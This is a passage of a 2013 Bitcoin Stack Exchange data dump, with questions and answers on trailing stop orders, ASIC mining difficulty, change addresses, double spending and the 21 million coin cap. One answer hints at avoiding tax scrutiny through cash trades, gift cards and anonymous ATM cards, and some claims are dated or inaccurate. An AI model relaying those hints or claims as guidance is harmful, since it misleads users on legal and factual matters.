now.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="3187" LastEditDate="2013-04-10T12:05:00.060" LastActivityDate="2013-04-10T12:05:00.060" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9496" PostTypeId="1" CreationDate="2013-04-10T11:56:19.127" Score="9" ViewCount="5280" Body="&lt;p&gt;Trail orders are extremely useful, much more so than simple &lt;a href=&quot;https://bitcoin.stackexchange.com/q/7342/4171&quot;&gt;stop loss&lt;/a&gt; orders. Are there any exchanges that offer trail orders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a trail order, the stop price would track the market price as long as it goes in the same direction, but not if the market price moves in the opposite direction. For example, say BTC is bid 250 USD and I place a trail stop (sell) order for 10 USD below the bid price. Here's what happens if BTC moves:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start =&gt; my trail order will have a stop of 240&lt;/li&gt;&#xA;&lt;li&gt;BTC bid 260 =&gt; my trail order will have a stop of 250 now&lt;/li&gt;&#xA;&lt;li&gt;BTC bid 265 =&gt; stop 255&lt;/li&gt;&#xA;&lt;li&gt;BTC bid back to 262 =&gt; stop 255 stays in place&lt;/li&gt;&#xA;&lt;li&gt;BTC bid 268 =&gt; stop 258&lt;/li&gt;&#xA;&lt;li&gt;BTC bid 263 =&gt; stop stays 258&lt;/li&gt;&#xA;&lt;li&gt;BTC bid tunnels down to 255 =&gt; market SELL order triggered as soon as the bid went &amp;lt;=258&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As of June 2013, Tradehill does not offer stop orders.&lt;/p&gt;&#xA;" OwnerUserId="4171" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2018-02-25T09:08:33.403" Title="What exchanges offer trail orders?" Tags="|exchanges|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9498" PostTypeId="1" AcceptedAnswerId="9500" CreationDate="2013-04-10T12:34:56.960" Score="0" ViewCount="195" Body="&lt;p&gt;On a comment on this answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9494/4173&quot;&gt;https://bitcoin.stackexchange.com/a/9494/4173&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following was said: &quot;However, what you need to consider is that we're approaching a step change in bitcoin mining with the creation of ASIC-based minders. These will increase the difficulty 10-fold pretty much immediately, and go to 100-fold if they are successful. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what this means?  What is a minder? Why is the difficulty about to increase 10 / 100 fold?&lt;/p&gt;&#xA;" OwnerUserId="4173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-04-28T13:22:16.980" Title="What is meant by &quot;we are approaching a step change in bitcoin mining&quot;" Tags="|mining-hardware|difficulty|hashpower|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostTypeId="2" ParentId="9498" CreationDate="2013-04-10T12:55:27.120" Score="5" Body="&lt;p&gt;That was my answer, and &quot;minder&quot; was a typo and meant to be &quot;miner&quot;.  Apologies for any confusion this might have caused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ASIC-based bitcoin miners that generate north of 60GH/s.  A high-end PC might get up to 1GH/s, with a similar cost for power.  So there is going to be a massive influx of GH/s additional power in to the bitcoin mining pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty rating for mining self-adjusts over time to ensure that the number of blocks found remains relatively constant at around 1 block every ten minutes.  Let's assume that the influx of ASIC-based miners pushes the overall difficulty up 10x in the short term.  This means that for the same amount of work your PC is doing next week as opposed to last week you will only receive 10% of the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result is that the idea of mining on a PC to obtain bitcoins is going to go away over the next year or less (depending on how quickly the ASIC companies can churn out production-ready mining platforms).&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-10T12:55:27.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostTypeId="1" AcceptedAnswerId="9502" CreationDate="2013-04-10T13:17:18.437" Score="5" ViewCount="516" Body="&lt;p&gt;I would like to keep backup of my wallet on paper, but that's impossible or at least impractical when the bitcoind keeps creating new addresses for &quot;change&quot;. I know it is possible in theory to do it by sending the change back to the sending address. And I know there are privacy implications when doing this. But I care more about security than anonymity in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to turn off &quot;change&quot; addresses in bitcoind (the original Satoshi client)?&lt;/p&gt;&#xA;" OwnerUserId="4175" LastActivityDate="2019-07-29T14:56:44.503" Title="How to turn off &quot;change&quot; address in bitcoind?" Tags="|bitcoin-core|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9502" PostTypeId="2" ParentId="9501" CreationDate="2013-04-10T13:21:00.817" Score="3" Body="&lt;p&gt;Bitcoind isn't designed for that. There isn't option for that and probably won't be. If you are interested in keeping paper backup, you should look at clients such as &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastEditorUserId="4175" LastEditDate="2019-05-24T11:49:49.560" LastActivityDate="2019-05-24T11:49:49.560" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9503" PostTypeId="2" ParentId="4645" CreationDate="2013-04-10T13:25:37.397" Score="2" Body="&lt;p&gt;Put the price in USD (or local currency). Let them pay in BTC at true rate in the moment they pay. In some occations it may be wise even to give a discount when paying with BTC. &lt;/p&gt;&#xA;" OwnerUserId="4176" LastActivityDate="2013-04-10T13:25:37.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9505" PostTypeId="1" CreationDate="2013-04-10T13:58:58.913" Score="3" ViewCount="2985" Body="&lt;p&gt;I have a balance of just 4 BTC at Mt Gox and when I try to withdraw them I get this message: &lt;strong&gt;Your account is currently pending review, please visit &lt;a href=&quot;https://mtgox.com/forms/verification&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/forms/verification&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I supposed to do about this?  Is anyone else having the same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; (cannot comment or answer my own question?): Yes I created the account using Tor, and their response says that's the reason.  @Stephen Gornick you are correct, the restriction is specified when creating the account.&lt;/p&gt;&#xA;" OwnerUserId="4044" LastEditorUserId="4044" LastEditDate="2013-04-11T01:45:21.020" LastActivityDate="2013-04-11T01:45:21.020" Title="Why can't I withdraw any BTC from MtGox?" Tags="|mtgox|" AnswerCount="1" CommentCount="4" ClosedDate="2013-04-11T05:41:32.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="9508" PostTypeId="1" CreationDate="2013-04-10T15:58:36.040" Score="3" ViewCount="457" Body="&lt;p&gt;I hear a lot about double spending of bitcoin. Can a single bitcoin be spend twice, as a dollar can. For example, I give dollars to 7 eleven for gas, they then use that money to pay their suppliers. Can bitcoin be used in the same way?  &lt;/p&gt;&#xA;" OwnerUserId="4182" LastEditorUserId="153" LastEditDate="2013-04-11T00:03:12.243" LastActivityDate="2013-04-11T00:09:51.040" Title="If I sell something for bitcoin can I then use the bitcoin I receive to buy something else?" Tags="|transactions|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9510" PostTypeId="1" AcceptedAnswerId="9942" CreationDate="2013-04-10T16:23:17.400" Score="2" ViewCount="621" Body="&lt;p&gt;I know that satoshi's client doesn't prune, because we need to store all the transactions so that we can send them to other nodes.  But does &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;this android bitcoin wallet&lt;/a&gt; from de.schildbach prune?  Space on a smartphone is at a higher premium so it seems like a good place to prune.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how much space would pruning save?  Has it ever been checked?&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="5406" LastEditDate="2016-01-05T13:55:39.727" LastActivityDate="2016-01-05T13:55:39.727" Title="Is pruning of the merkle tree implemented in the bitcoin android wallet?" Tags="|client|merkle-tree|bitcoin-wallet-app|pruning|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9511" PostTypeId="2" ParentId="9508" CreationDate="2013-04-10T16:35:57.210" Score="2" Body="&lt;p&gt;Actually, double spending is a class of attacks against bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Double-spending is a failure mode of digital cash schemes, when it is possible to spend a single digital token twice. Since, unlike physical token money such as coins, electronic files can be duplicated, and hence the act of spending a digital coin does not remove its data from the ownership of the original holder,[1] some other means is needed to prevent double-spending.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;br&gt;&#xA;Bitcoin's mechanism is the block-chain.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-10T16:35:57.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9512" PostTypeId="1" CreationDate="2013-04-10T16:44:34.700" Score="3" ViewCount="934" Body="&lt;p&gt;In this Bloomberg video: &lt;a href=&quot;http://www.bloomberg.com/video/bitcoin-is-gold-for-nerds-convergex-s-colas-says-zumT6iCSQBuJJPB3Nhonrw.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Gold for Nerds&lt;/strong&gt; &lt;/a&gt;, they ask &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How is the limitation of 21 million Bitcoins enforced?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Though I am very familiar with the technical reasons why and how it's done I haven't seen an explanation suitable for a non-techie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Fc1P-AEaEp8&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;In the simplest way possible&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Can someone describe what is the Ecludian Constraint is?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can someone explain the enforcement of the 21 Million limitation like I'm &lt;a href=&quot;http://en.wikipedia.org/wiki/Tom_Keene_%28radio_host%29&quot; rel=&quot;nofollow&quot;&gt;Tom Keene&lt;/a&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-04-11T13:57:44.027" LastActivityDate="2013-04-11T20:12:21.873" Title="In the simplest way possible, describe how the 21 Million limitation is enforced to a non techie" Tags="|economic-theory|news-coverage|finance|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9513" PostTypeId="2" ParentId="9512" CreationDate="2013-04-10T17:21:44.060" Score="4" Body="&lt;p&gt;The simple answer is that there is a constraint on the total number of coins that will be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In economy the fact that the supply of newly minted coins is either constraint by a constant rate at which they enter the market or, like in Bitcoin's case, even that the total number that will ever be in circulation be limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to how the amount of newly issued coins in the Bitcoin network is reduced over time the total number of coins ever issued will converge to 21million. Every 210'000 blocks (or 3.993 Years in expectation) the number of new bitcoins that are issued in the network is halved. The result is that we have a sum of a geometric series, with each step being multiplied by 1/2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence in the first step 50 * 210'000 = 10'500'000 coins were issued, in the current step half of that will be issued: 25 * 210'000 = 5'250'000 coins and so on. The &lt;a href=&quot;http://en.wikipedia.org/wiki/Geometric_series#Sum&quot; rel=&quot;nofollow&quot;&gt;sum of a geometric series that halves&lt;/a&gt; at each step is exactly twice the first step, hence 2* 50 * 210'000 = 21'000'000. This was also discovered by Euclid, hence the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that this is an infinite sum that converges to an upper limit. Due to rounding involved in the protocol the sum will eventually end and no new coins will be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These numbers were chosen by Satoshi in his original proof-of-concept client and have not changed since. At some point the values would have had to be chosen anyway and his approach of choosing easy to remember numbers are just as good as any (210'000 ~= 4 years, 50 bitcoins / block initially so in total it would be 100 * 4 years =&gt; 21'000'000 bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is not to say that nobody ever criticized the numbers and constraints. Several early ideas were put out there and sometimes even implemented that changed key parts of what parameters are chosen, be it Litecoin that uses inter-block timings of 2.5 minutes instead of 10 minutes, or some schemes that instead of relying on a limited total number of coins ever generated preferred to constrain the rate at which coins are generated. Fact is that the Bitcoin network still is the biggest of them, and only future will show whether the choices are right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the enforcement of the constraint that's a bit more complex. You see when you join the Bitcoin network you implicitly accept the underlying rules the Network works with. This includes among other things the parameters Satoshi chose. So if you misbehave, e.g., by creating a block that gives you a larger amount of coins than is agreed on, the rest of the network will not accept that and ignore your claim. In a certain way all users in the Bitcoin network reached a consensus about what is and what is not valid. Any change to the inner workings of the network would require a majority of the stakeholders to reach a new consensus about whether to accept the change. If you do not follow the decision of the majority you will create a fork and live on that. If more people agree with you they might join your network, and some alternative chains might even be able to survive for some time. So the constraint is basically enforced by the majority of the users (or their computational power share in the network).&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-04-10T17:39:21.703" LastActivityDate="2013-04-10T17:39:21.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9514" PostTypeId="2" ParentId="9512" CreationDate="2013-04-10T17:32:55.987" Score="3" Body="&lt;p&gt;I think that the &quot;Euclidean Constraint&quot; just refers to the hard limit of 21million.  It's a line on a graph to which the number of bitcoins approaches but never reaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the problems with fiat currency is knowing how much to print.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't print any then, over time, the currency is bound to get more and more valuable.  That's because we are constant creating wealth: Buy flour and water for $1 and sell bread for $2.  Or if you like a scientific explanation: The sun is casting energy on the Earth and we can use that energy to arrange things.  The sun's entropy decreases and ours increases, so the value of everything on the Earth increases.  But the number of bitcoins stays constant, so it's value will keep going up.  It will buy more bread tomorrow than it does today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you print too much, you get inflation.  The market is flooded with currency, its value goes down, and everyone tries to spend it as fast as they can because they're holding on to currency that's worth less tomorrow than today.  The rich lose money and those in debt get out of debt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Governments aim for moderate inflation but there are those that think that they've gone overboard.  I think that bitcoin is the backlash to that.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-10T17:32:55.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9515" PostTypeId="2" ParentId="9508" CreationDate="2013-04-10T17:57:39.047" Score="2" Body="&lt;p&gt;Double-spending as an attack is different than spending coins you receive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack is when you try to spend the same coins twice. For example, you have 1 BTC in your wallet, spend it to buy a coffee, then spend it to buy a soda. Assuming both the coffee and soda cost 1 BTC, you &lt;em&gt;shouldn't&lt;/em&gt; have enough coins to pay for both. But the (very complicated) attack would allow you to do just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrast this to me paying you 1 BTC for a slice of pizza. You can then turn around and spend that 1 BTC on a coffee, just like if I had given you a dollar, euro, or anything else.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-10T17:57:39.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostTypeId="2" ParentId="9492" CreationDate="2013-04-10T18:02:14.283" Score="1" Body="&lt;p&gt;If you want a more accurate representation of the current market price, I suggest you use something like a 24h weighted price, which takes into account the price over time and across multiple exchanges, giving you a more consistent view of what people value a BTC at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of doing all the calculations yourself, an easy way to see this is to leverage the &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shameless plug:&lt;/strong&gt; For those curious, I created &lt;a href=&quot;http://btcimg.com/&quot; rel=&quot;nofollow&quot;&gt;BTCimg&lt;/a&gt; that takes those values and generates PNG images, which people can include on their website to see a relatively stable price.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-10T18:02:14.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostTypeId="1" CreationDate="2013-04-10T18:15:13.683" Score="1" ViewCount="2708" Body="&lt;p&gt;I just started mining within the past week on my laptop but I am trying to set up 2 dedicated mining servers to run 24/7. I've been using UfaSoft's CPUMiner on Windows 8 on the laptop, but I cant seam to get it to work on either of my servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a Dell Dimension 433c with a 600 MHz Pentium Pro with 256 MG RAM &amp;amp; a Dell Dimension L1000R with a Pentium III again with 256 MB RAM both with Ubuntu Server 12.04 LTS x86 installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the source code for both UfaSofts CPU Miner and CGMiner directly from the developer's website, downloaded all the dependencies needed for a rig without any GPUs and did a #make install for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With UfaSoft I keep getting Error 80072550 when ever I try to mine.&#xA;With CGMiner, It won't initialise and says that all devices are disabled. A friend of mine told me that it was picking up a GPU and was then disabling the CPU miner as a response but I think he may not know what he's talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help that I can get would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4185" LastEditorUserId="5406" LastEditDate="2016-04-28T13:23:41.277" LastActivityDate="2016-04-28T13:23:41.277" Title="Trouble CPU Mining with CGMiner and CPUMiner on Ubuntu Server 12.04" Tags="|miner-configuration|mining-profitability|linux|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostTypeId="1" CreationDate="2013-04-10T18:50:25.720" Score="6" ViewCount="1765" Body="&lt;p&gt;From my understanding, a SHA256 hash is generated by a miner and if the hash is less than a specific value, it is passed to its peers.  That said, It's possible for multiple hashes to be created at very close to the same time.  If this happens, how is the &quot;winner&quot; determined?  I see this has happened a lot (multiple orphaned blocks).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done by the miner to see that their block wins the race, either honestly or through an attack?  The protocol stipulates that the block shall be recognized by which ever was received first.  Is it advantageous to set up peering with other miners? &lt;/p&gt;&#xA;" OwnerUserId="4143" LastEditorUserId="5406" LastEditDate="2023-10-20T17:37:30.160" LastActivityDate="2023-10-20T17:37:30.160" Title="Who wins the race for multiple valid blocks mined at the same time?" Tags="|blockchain|blockchain-fork|stale-block|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9520" PostTypeId="1" AcceptedAnswerId="9536" CreationDate="2013-04-10T18:57:25.747" Score="2" ViewCount="3357" Body="&lt;p&gt;Does anyone know if someone has created an open source (preferrably LAMP/PHP based) software package so that they can bring up their own BTC to ?currency? trading site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to be the guy getting 2% to 3% on transactions. And then I'd be responsible for server uptime and availability, fraud checks, APIs running smoothly, etc.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="5406" LastEditDate="2014-02-09T10:24:05.773" LastActivityDate="2018-12-07T08:23:28.403" Title="Open Source Bitcoin Trading Software" Tags="|trading|open-source|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostTypeId="2" ParentId="9512" CreationDate="2013-04-10T19:11:29.207" Score="2" Body="&lt;p&gt;It is an arbitrary decision made at the initial creation of the currency and is hard coded (literally) into the software.  If there is a disagreement on the validity of the number of coins created, it is ignored by most clients.  The agreement is a core part of the network and won't be modified in the near future because it can't be without the agreement of 51% of the nodes.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2013-04-10T19:11:29.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9525" PostTypeId="2" ParentId="9508" CreationDate="2013-04-10T19:17:43.550" Score="5" Body="&lt;p&gt;I think the confusion is around the phrase &quot;a single bitcoin&quot;. A dollar bill is a &lt;em&gt;thing&lt;/em&gt;, you can move it around and it changes ownership, but it is still the same dollar bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be imagining a bitcoin as a &quot;virtual thing&quot;, like a computer file, which you can also move around. Sending the file to someone is analogous to giving them the dollar bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, computer files don't move; they are copied. Even when you tell a computer to move a file from one disk to another, it is simply making a copy and then deleting the original. When you give someone a dollar bill, you don't have it any more. You can't really &lt;em&gt;give&lt;/em&gt; someone a computer file, because you simply both have copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a digital currency were implemented this way, you could simply keep giving copies of the same computer file to everyone you paid, and you would basically have an infinite supply of money. &lt;strong&gt;That is what people are talking about when they refer to double-spending.&lt;/strong&gt; The idea of using the same money twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, bitcoin can't be a simple as a computer file. How does spending work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a world where there are no dollar bills and coins. Instead, all transactions are performed by credit and debit cards and similar things. In that case, when you spend $1 at a 7-Eleven, you theoretically give them a dollar, except there is no physical thing to move. In reality, your bank and 7-Eleven's bank simply agree to add a transaction to each of their ledgers, saying you transferred $1 from your account to theirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, what's actually being passed around isn't &quot;virtual money&quot;, but records of transactions instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending a bitcoin is very much like this: you create a transaction that says you are transferring X BTC from your account to someone else's. That is published to the network and becomes part of the transaction record and then &quot;everyone&quot; knows your wallet has X fewer BTC and the other person as X more BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;em&gt;lot&lt;/em&gt; of complexity in how that publishing process works, how it guards against fraudulent transactions, how it works in a decentralized fashion, etc. There are a lot of places to read about how it all works, including this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you have 10 BTC and receive 1 BTC, then you turn around and spend 1 BTC, did you spend the BTC you just received? Or one of the other ten? That's a question for philosophers, to be honest.&lt;/p&gt;&#xA;" OwnerUserId="4186" LastActivityDate="2013-04-10T19:17:43.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9526" PostTypeId="2" ParentId="9519" CreationDate="2013-04-10T19:18:35.223" Score="9" Body="&lt;p&gt;When there's a fork, part of the network will mine to find the next block in one branch and part in the other branch. Whichever part finds the next block first will determine the winning branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner who finds a block will want to spread it widely and quickly. This makes sure there are many other miners who saw his block first, and thus a high probability that the next block will be found by one of those.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-04-10T19:18:35.223" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9527" PostTypeId="2" ParentId="4619" CreationDate="2013-04-10T19:25:51.010" Score="0" Body="&lt;p&gt;You don't. In some cases, you may have to pay capital gains tax on that, which I think is running around 14%, but it depends on a few factors that only your CPA can answer. Well, you might be able to go unnoticed if you meet a guy in a cafe and he hands you cash, which is where localbitcoin type places on the web can hook you up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another route is to find a service that can get you Amazon and Walmart gift cards. See, with Walmart in the USA, you can even use the gift card at some select locations where they have a &quot;Murphy's&quot; out front in order to get fuel, and you already know some Walmart locations have grocery stores inside. So, if your major daily expenses in life are rent/mortgage, major purchases (requiring a loan, like a car/SUV/truck), groceries, fuel, and &quot;stuff&quot;, then between Walmart and Amazon you can handle all that except the rent/mortgage and major purchases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are services to give anonymous ATM VISA cards like &lt;a href=&quot;http://xmlgold.eu/&quot; rel=&quot;nofollow&quot;&gt;XMLGold.eu&lt;/a&gt;, but the IRS probably won't like that. Still, after I emailed and asked just because I was curious, XMLGold will definitely stick one in the mail or FedEx if you want, and even ship to the USA. Legal compliance, they realize, is your own deal.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2013-04-10T19:25:51.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9529" PostTypeId="2" ParentId="9172" CreationDate="2013-04-10T20:27:45.587" Score="1" Body="&lt;p&gt;Okay, so I think I misunderstood what this app is showing me.  A bitcoin wallet can (and often does) have multiple addresses (public+private keypairs).  What I was seeing in the app was not multiple wallets, but just multiple addresses.&lt;/p&gt;&#xA;" OwnerUserId="3942" LastActivityDate="2013-04-10T20:27:45.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9530" PostTypeId="1" CreationDate="2013-04-10T20:37:05.443" Score="9" ViewCount="2758" Body="&lt;p&gt;What's the easiest way to control &lt;code&gt;bitcoind&lt;/code&gt; running on a remote machine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make transfers, manage my wallet, etc, and ideally I'd like to do it using a UI such as &lt;code&gt;bitcoin-qt&lt;/code&gt;.  Unfortunately I don't see how to get &lt;code&gt;bitcoin-qt&lt;/code&gt; to connect to a remote &lt;code&gt;bitcoind&lt;/code&gt;.  Is there a different piece of software that can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use &lt;code&gt;bitcoind&lt;/code&gt; itself to send commands to a remote instance, but I'm hoping for UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm interested is that I'm happy to leave &lt;code&gt;bitcoind&lt;/code&gt; running and stay synchronised on one machine, but this is not the same machine that I want to run the UI on.&lt;/p&gt;&#xA;" OwnerUserId="3942" LastActivityDate="2013-10-24T20:31:08.493" Title="Easiest way to control a remote bitcoind instance?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9531" PostTypeId="2" ParentId="8773" CreationDate="2013-04-10T21:10:05.473" Score="-2" Body="&lt;p&gt;I bought bitcoin on &lt;a href=&quot;https://bitbargain.co.uk/&quot; rel=&quot;nofollow&quot;&gt;https://bitbargain.co.uk/&lt;/a&gt;, not sure what it's like to sell there.&lt;/p&gt;&#xA;" OwnerUserId="3942" LastActivityDate="2013-04-10T21:10:05.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9532" PostTypeId="1" AcceptedAnswerId="9542" CreationDate="2013-04-10T21:24:59.870" Score="1" ViewCount="5841" Body="&lt;p&gt;I'm a newbie and was wondering what to do when there is an unconfirmed transaction on Blockchain.info. Can I reverse the transaction? Will my BTC reach the other side? Or are they lost?&lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2013-04-11T00:54:22.193" Title="Blockchain.info unconfirmed transaction" Tags="|transactions|blockchain|wallet|blockchain.info|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-16T05:14:41.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="9533" PostTypeId="2" ParentId="9491" CreationDate="2013-04-10T21:29:40.057" Score="1" Body="&lt;p&gt;Andreas Schildbach's &lt;a href=&quot;https://github.com/Goonie/Bitcoin-Wallet-for-Android&quot; rel=&quot;nofollow&quot;&gt;open-source&lt;/a&gt; &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wallet&lt;/a&gt; supports this feature. With the &quot;Request bitcoins&quot; screen open, tap another device to send it the &lt;code&gt;bitcoin:&lt;/code&gt; URI to send to (that opens the &quot;Send bitcoins&quot; screen on the other device). You can also scan an NFC tag containing a &lt;code&gt;bitcoin:&lt;/code&gt; URI to open the &quot;Send bitcoins&quot; screen with the fields filled in.&lt;/p&gt;&#xA;" OwnerUserId="1145" LastActivityDate="2013-04-10T21:29:40.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
